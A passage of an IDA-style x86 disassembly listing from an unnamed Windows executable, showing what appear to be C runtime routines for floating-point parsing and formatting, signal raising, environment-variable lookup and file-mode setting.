; ---------------------------------------------------------------------------


loc_4253B5:				; CODE XREF: sub_4250CD+12Dj
					; sub_4250CD+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425445
; ---------------------------------------------------------------------------


loc_4253BD:				; CODE XREF: sub_4250CD+63j
					; DATA XREF: ___:off_42556Eo
		mov	[ebp+var_20], 1	; jumptable 00425130 case 9
		xor	esi, esi


loc_4253C6:				; CODE XREF: sub_4250CD+339j
		cmp	dword_43A88C, 1
		jle	short loc_4253DE
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_4253ED
; ---------------------------------------------------------------------------


loc_4253DE:				; CODE XREF: sub_4250CD+300j
		mov	ecx, off_43A680
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4253ED:				; CODE XREF: sub_4250CD+30Fj
		test	eax, eax
		jz	short loc_42540D
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_425408
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------


loc_425408:				; CODE XREF: sub_4250CD+334j
		mov	esi, 1451h


loc_42540D:				; CODE XREF: sub_4250CD+322j
		mov	[ebp+var_1C], esi


loc_425410:				; CODE XREF: sub_4250CD+371j
		cmp	dword_43A88C, 1
		jle	short loc_425428
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_425437
; ---------------------------------------------------------------------------


loc_425428:				; CODE XREF: sub_4250CD+34Aj
		mov	ecx, off_43A680
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425437:				; CODE XREF: sub_4250CD+359j
		test	eax, eax
		jz	short loc_425440
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425410
; ---------------------------------------------------------------------------


loc_425440:				; CODE XREF: sub_4250CD+99j
					; sub_4250CD+E4j ...
		dec	edi
		jmp	short loc_425445
; ---------------------------------------------------------------------------


loc_425443:				; CODE XREF: sub_4250CD+261j
					; sub_4250CD+2BCj
		mov	edi, ecx


loc_425445:				; CODE XREF: sub_4250CD+2DDj
					; sub_4250CD+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_42552D
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425471
		cmp	[ebp+var_45], 5
		jl	short loc_425465
		inc	[ebp+var_45]


loc_425465:				; CODE XREF: sub_4250CD+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425474
; ---------------------------------------------------------------------------


loc_425471:				; CODE XREF: sub_4250CD+38Dj
		mov	eax, [ebp+var_C]


loc_425474:				; CODE XREF: sub_4250CD+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425523


loc_42547E:				; CODE XREF: sub_4250CD+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_42548C
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_42547E
; ---------------------------------------------------------------------------


loc_42548C:				; CODE XREF: sub_4250CD+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_425006
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4254AB
		neg	eax


loc_4254AB:				; CODE XREF: sub_4250CD+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4254B6
		add	eax, [ebp+arg_10]


loc_4254B6:				; CODE XREF: sub_4250CD+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4254BE
		sub	eax, [ebp+arg_14]


loc_4254BE:				; CODE XREF: sub_4250CD+3ECj
		cmp	eax, 1450h
		jle	short loc_4254F5
		mov	[ebp+var_2C], 1


loc_4254CC:				; CODE XREF: sub_4250CD+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4254D8:				; CODE XREF: sub_4250CD+454j
					; sub_4250CD+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_42553E
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425553
; ---------------------------------------------------------------------------


loc_4254F5:				; CODE XREF: sub_4250CD+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425505
		mov	[ebp+var_30], 1
		jmp	short loc_4254CC
; ---------------------------------------------------------------------------


loc_425505:				; CODE XREF: sub_4250CD+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425CB6
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4254D8
; ---------------------------------------------------------------------------


loc_425523:				; CODE XREF: sub_4250CD+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4254D8
; ---------------------------------------------------------------------------


loc_42552D:				; CODE XREF: sub_4250CD+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425553
; ---------------------------------------------------------------------------


loc_42553E:				; CODE XREF: sub_4250CD+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425553
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425553:				; CODE XREF: sub_4250CD+426j
					; sub_4250CD+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4250CD	endp

; ---------------------------------------------------------------------------
off_42556E	dd offset loc_425137	; DATA XREF: sub_4250CD+63r
		dd offset loc_425186	; jump table for switch	statement
		dd offset loc_4251DD
		dd offset loc_425207
		dd offset loc_425262
		dd offset loc_4252D9
		dd offset loc_42530F
		dd offset loc_425359
		dd offset loc_425338
		dd offset loc_4253BD
		dd offset loc_4253A7
		dd offset loc_425373

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42559E	proc near		; CODE XREF: sub_4244F9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425600
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425604
; ---------------------------------------------------------------------------


loc_425600:				; CODE XREF: sub_42559E+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425604:				; CODE XREF: sub_42559E+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42562A
		test	edi, edi
		jnz	short loc_42562A
		cmp	[ebp+arg_0], edi
		jnz	short loc_42562A


loc_425615:				; CODE XREF: sub_42559E+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_425828
; ---------------------------------------------------------------------------


loc_42562A:				; CODE XREF: sub_42559E+6Cj
					; sub_42559E+70j ...
		cmp	dx, si
		jnz	short loc_4256A9
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425643
		cmp	[ebp+arg_0], 0
		jz	short loc_425652


loc_425643:				; CODE XREF: sub_42559E+9Dj
		test	edi, 40000000h
		jnz	short loc_425652
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_425698
; ---------------------------------------------------------------------------


loc_425652:				; CODE XREF: sub_42559E+A3j
					; sub_42559E+ABj
		test	cx, cx
		jz	short loc_42566C
		cmp	edi, 0C0000000h
		jnz	short loc_42566C
		cmp	[ebp+arg_0], 0
		jnz	short loc_425693
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42567B
; ---------------------------------------------------------------------------


loc_42566C:				; CODE XREF: sub_42559E+B7j
					; sub_42559E+BFj
		cmp	edi, eax
		jnz	short loc_425693
		cmp	[ebp+arg_0], 0
		jnz	short loc_425693
		push	offset a1Inf	; "1#INF"


loc_42567B:				; CODE XREF: sub_42559E+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C620
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_42568A:				; CODE XREF: sub_42559E+109j
		and	[ebp+var_4], 0
		jmp	loc_425801
; ---------------------------------------------------------------------------


loc_425693:				; CODE XREF: sub_42559E+C5j
					; sub_42559E+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_425698:				; CODE XREF: sub_42559E+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C620
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_42568A
; ---------------------------------------------------------------------------


loc_4256A9:				; CODE XREF: sub_42559E+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425CB6
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42570A
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425A96
		pop	ecx
		pop	ecx


loc_42570A:				; CODE XREF: sub_42559E+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425724
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_425727
		jmp	loc_425615
; ---------------------------------------------------------------------------


loc_425724:				; CODE XREF: sub_42559E+173j
		mov	edi, [ebp+arg_C]


loc_425727:				; CODE XREF: sub_42559E+17Fj
		cmp	edi, 15h
		jle	short loc_42572F
		push	15h
		pop	edi


loc_42572F:				; CODE XREF: sub_42559E+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425745:				; CODE XREF: sub_42559E+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_424FAB
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425745
		test	esi, esi
		jge	short loc_42576F
		neg	esi
		and	esi, 0FFh
		jle	short loc_42576F


loc_425762:				; CODE XREF: sub_42559E+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_424FD9
		dec	esi
		pop	ecx
		jnz	short loc_425762


loc_42576F:				; CODE XREF: sub_42559E+1B8j
					; sub_42559E+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4257CC
		mov	[ebp+arg_C], ecx


loc_42577F:				; CODE XREF: sub_42559E+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_424FAB
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_424FAB
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_424F4D
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_424FAB
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_42577F
		mov	eax, [ebp+arg_14]


loc_4257CC:				; CODE XREF: sub_42559E+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_425809


loc_4257D9:				; CODE XREF: sub_42559E+248j
		cmp	eax, ecx
		jb	short loc_4257EC
		cmp	byte ptr [eax],	39h
		jnz	short loc_4257E8
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4257D9
; ---------------------------------------------------------------------------


loc_4257E8:				; CODE XREF: sub_42559E+242j
		cmp	eax, ecx
		jnb	short loc_4257F0


loc_4257EC:				; CODE XREF: sub_42559E+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_4257F0:				; CODE XREF: sub_42559E+24Cj
		inc	byte ptr [eax]


loc_4257F2:				; CODE XREF: sub_42559E+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425801:				; CODE XREF: sub_42559E+F0j
		mov	eax, [ebp+var_4]


loc_425804:				; CODE XREF: sub_42559E+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_425809:				; CODE XREF: sub_42559E+239j
					; sub_42559E+275j
		cmp	eax, ecx
		jb	short loc_425819
		cmp	byte ptr [eax],	30h
		jnz	short loc_425815
		dec	eax
		jmp	short loc_425809
; ---------------------------------------------------------------------------


loc_425815:				; CODE XREF: sub_42559E+272j
		cmp	eax, ecx
		jnb	short loc_4257F2


loc_425819:				; CODE XREF: sub_42559E+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_425828:				; CODE XREF: sub_42559E+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425804
sub_42559E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425831	proc near		; CODE XREF: sub_42249C+223Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_425898
		dec	eax
		dec	eax
		jz	short loc_425889
		sub	eax, 4
		jz	short loc_425889
		sub	eax, 3
		jz	short loc_425889
		sub	eax, 4
		jz	short loc_42587C
		sub	eax, 6
		jz	short loc_42586F
		dec	eax
		jz	short loc_425862
		or	eax, 0FFFFFFFFh
		jmp	loc_42595A
; ---------------------------------------------------------------------------


loc_425862:				; CODE XREF: sub_425831+27j
		mov	esi, dword_4D9A14
		mov	eax, offset dword_4D9A14
		jmp	short loc_4258A3
; ---------------------------------------------------------------------------


loc_42586F:				; CODE XREF: sub_425831+24j
		mov	esi, dword_4D9A10
		mov	eax, offset dword_4D9A10
		jmp	short loc_4258A3
; ---------------------------------------------------------------------------


loc_42587C:				; CODE XREF: sub_425831+1Fj
		mov	esi, dword_4D9A18
		mov	eax, offset dword_4D9A18
		jmp	short loc_4258A3
; ---------------------------------------------------------------------------


loc_425889:				; CODE XREF: sub_425831+10j
					; sub_425831+15j ...
		push	edi
		call	sub_42595E
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4258A3
; ---------------------------------------------------------------------------


loc_425898:				; CODE XREF: sub_425831+Cj
		mov	esi, dword_4D9A0C
		mov	eax, offset dword_4D9A0C


loc_4258A3:				; CODE XREF: sub_425831+3Cj
					; sub_425831+49j ...
		cmp	esi, 1
		jnz	short loc_4258AF
		xor	eax, eax
		jmp	loc_42595A
; ---------------------------------------------------------------------------


loc_4258AF:				; CODE XREF: sub_425831+75j
		test	esi, esi
		jnz	short loc_4258BA
		push	3
		call	sub_41BF42


loc_4258BA:				; CODE XREF: sub_425831+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4258CC
		cmp	edi, 0Bh
		jz	short loc_4258CC
		cmp	edi, 4
		jnz	short loc_4258F2


loc_4258CC:				; CODE XREF: sub_425831+8Fj
					; sub_425831+94j
		mov	ebx, dword_4D97EC
		and	dword_4D97EC, 0
		cmp	edi, ecx
		jnz	short loc_425921
		mov	edx, dword_43ACDC
		mov	dword_43ACDC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_4258F5
; ---------------------------------------------------------------------------


loc_4258F2:				; CODE XREF: sub_425831+99j
		mov	ebx, [ebp+arg_0]


loc_4258F5:				; CODE XREF: sub_425831+BFj
		cmp	edi, ecx
		jnz	short loc_425921
		mov	eax, dword_43ACD0
		mov	ecx, dword_43ACD4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425928
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43AC60h[edx*4]


loc_425916:				; CODE XREF: sub_425831+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425916
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_425921:				; CODE XREF: sub_425831+AAj
					; sub_425831+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425936


loc_425928:				; CODE XREF: sub_425831+D7j
					; sub_425831+EEj
		push	dword_43ACDC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425944
; ---------------------------------------------------------------------------


loc_425936:				; CODE XREF: sub_425831+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425944
		cmp	edi, 4
		jnz	short loc_425957


loc_425944:				; CODE XREF: sub_425831+103j
					; sub_425831+10Cj
		cmp	edi, 8
		mov	dword_4D97EC, ebx
		jnz	short loc_425957
		mov	eax, [ebp+arg_0]
		mov	dword_43ACDC, eax


loc_425957:				; CODE XREF: sub_425831+111j
					; sub_425831+11Cj
		xor	eax, eax
		pop	ebx


loc_42595A:				; CODE XREF: sub_425831+2Cj
					; sub_425831+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425831	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42595E	proc near		; CODE XREF: sub_425831+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43ACD8
		cmp	dword_43AC5C, edx
		push	esi
		mov	eax, offset dword_43AC58
		jz	short loc_42598C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43AC58h[esi*4]


loc_425980:				; CODE XREF: sub_42595E+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_42598C
		cmp	[eax+4], edx
		jnz	short loc_425980


loc_42598C:				; CODE XREF: sub_42595E+16j
					; sub_42595E+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43AC58h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_4259A0
		cmp	[eax+4], edx
		jz	short locret_4259A2


loc_4259A0:				; CODE XREF: sub_42595E+3Bj
		xor	eax, eax

locret_4259A2:				; CODE XREF: sub_42595E+40j
		retn
sub_42595E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4259A3	proc near		; CODE XREF: sub_4246FC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DADA8, 0
		push	ebx
		push	esi
		mov	esi, dword_4D973C
		push	edi
		jz	short loc_425A1A
		test	esi, esi
		jnz	short loc_4259D4
		cmp	dword_4D9744, esi
		jz	short loc_425A1A
		call	sub_425D71
		test	eax, eax
		jnz	short loc_425A1A
		mov	esi, dword_4D973C
		test	esi, esi
		jz	short loc_425A1A


loc_4259D4:				; CODE XREF: sub_4259A3+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425A1A
		push	ebx
		call	sub_41B960
		pop	ecx
		mov	edi, eax


loc_4259E5:				; CODE XREF: sub_4259A3+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425A1A
		push	eax
		call	sub_41B960
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425A0D
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425A0D
		push	edi
		push	ebx
		push	eax
		call	sub_425D32
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425A12


loc_425A0D:				; CODE XREF: sub_4259A3+51j
					; sub_4259A3+59j
		add	esi, 4
		jmp	short loc_4259E5
; ---------------------------------------------------------------------------


loc_425A12:				; CODE XREF: sub_4259A3+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425A1C
; ---------------------------------------------------------------------------


loc_425A1A:				; CODE XREF: sub_4259A3+10j
					; sub_4259A3+1Cj ...
		xor	eax, eax


loc_425A1C:				; CODE XREF: sub_4259A3+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4259A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_425A20	proc near		; CODE XREF: sub_424DE6+8Bp
					; sub_424DE6+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DAB60
		jnb	short loc_425A87
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DAA60[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425A87
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425A60
		and	cl, 7Fh
		jmp	short loc_425A6D
; ---------------------------------------------------------------------------


loc_425A60:				; CODE XREF: sub_425A20+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425A7B
		or	cl, 80h


loc_425A6D:				; CODE XREF: sub_425A20+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425A7B:				; CODE XREF: sub_425A20+48j
		mov	dword_4D9714, 16h
		jmp	short loc_425A91
; ---------------------------------------------------------------------------


loc_425A87:				; CODE XREF: sub_425A20+Bj
					; sub_425A20+27j
		mov	dword_4D9714, 9


loc_425A91:				; CODE XREF: sub_425A20+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425A96	proc near		; CODE XREF: sub_42559E+165p
					; sub_425CB6+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425C96
		cmp	cx, 7FFFh
		jnb	loc_425C96
		cmp	dx, 0BFFDh
		ja	loc_425C96
		cmp	dx, 3FBFh
		ja	short loc_425AFF
		xor	eax, eax
		jmp	short loc_425B39
; ---------------------------------------------------------------------------


loc_425AFF:				; CODE XREF: sub_425A96+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425B21
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425B21
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425B23
		cmp	[esi], eax
		jnz	short loc_425B23
		jmp	loc_425C90
; ---------------------------------------------------------------------------


loc_425B21:				; CODE XREF: sub_425A96+71j
					; sub_425A96+79j
		xor	eax, eax


loc_425B23:				; CODE XREF: sub_425A96+80j
					; sub_425A96+84j
		cmp	cx, ax
		jnz	short loc_425B46
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425B46
		cmp	[ebx+4], eax
		jnz	short loc_425B46
		cmp	[ebx], eax
		jnz	short loc_425B46


loc_425B39:				; CODE XREF: sub_425A96+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425CB1
; ---------------------------------------------------------------------------


loc_425B46:				; CODE XREF: sub_425A96+90j
					; sub_425A96+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425B56:				; CODE XREF: sub_425A96+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425BAA
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425B72:				; CODE XREF: sub_425A96+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_424F2C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B9D
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425B9D:				; CODE XREF: sub_425A96+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425B72


loc_425BAA:				; CODE XREF: sub_425A96+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425B56
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425BED


loc_425BC8:				; CODE XREF: sub_425A96+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425BE6
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424FAB
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425BC8


loc_425BE6:				; CODE XREF: sub_425A96+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425C26


loc_425BED:				; CODE XREF: sub_425A96+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425C26
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425C06:				; CODE XREF: sub_425A96+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425C0F
		inc	[ebp+var_14]


loc_425C0F:				; CODE XREF: sub_425A96+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424FD9
		dec	ebx
		pop	ecx
		jnz	short loc_425C06
		cmp	[ebp+var_14], 0
		jz	short loc_425C26
		or	byte ptr [ebp+var_24], 1


loc_425C26:				; CODE XREF: sub_425A96+155j
					; sub_425A96+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425C3D
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425C72


loc_425C3D:				; CODE XREF: sub_425A96+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425C6F
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425C6A
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425C64
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425C72
; ---------------------------------------------------------------------------


loc_425C64:				; CODE XREF: sub_425A96+1C1j
		inc	word ptr [ebp+var_1C+2]
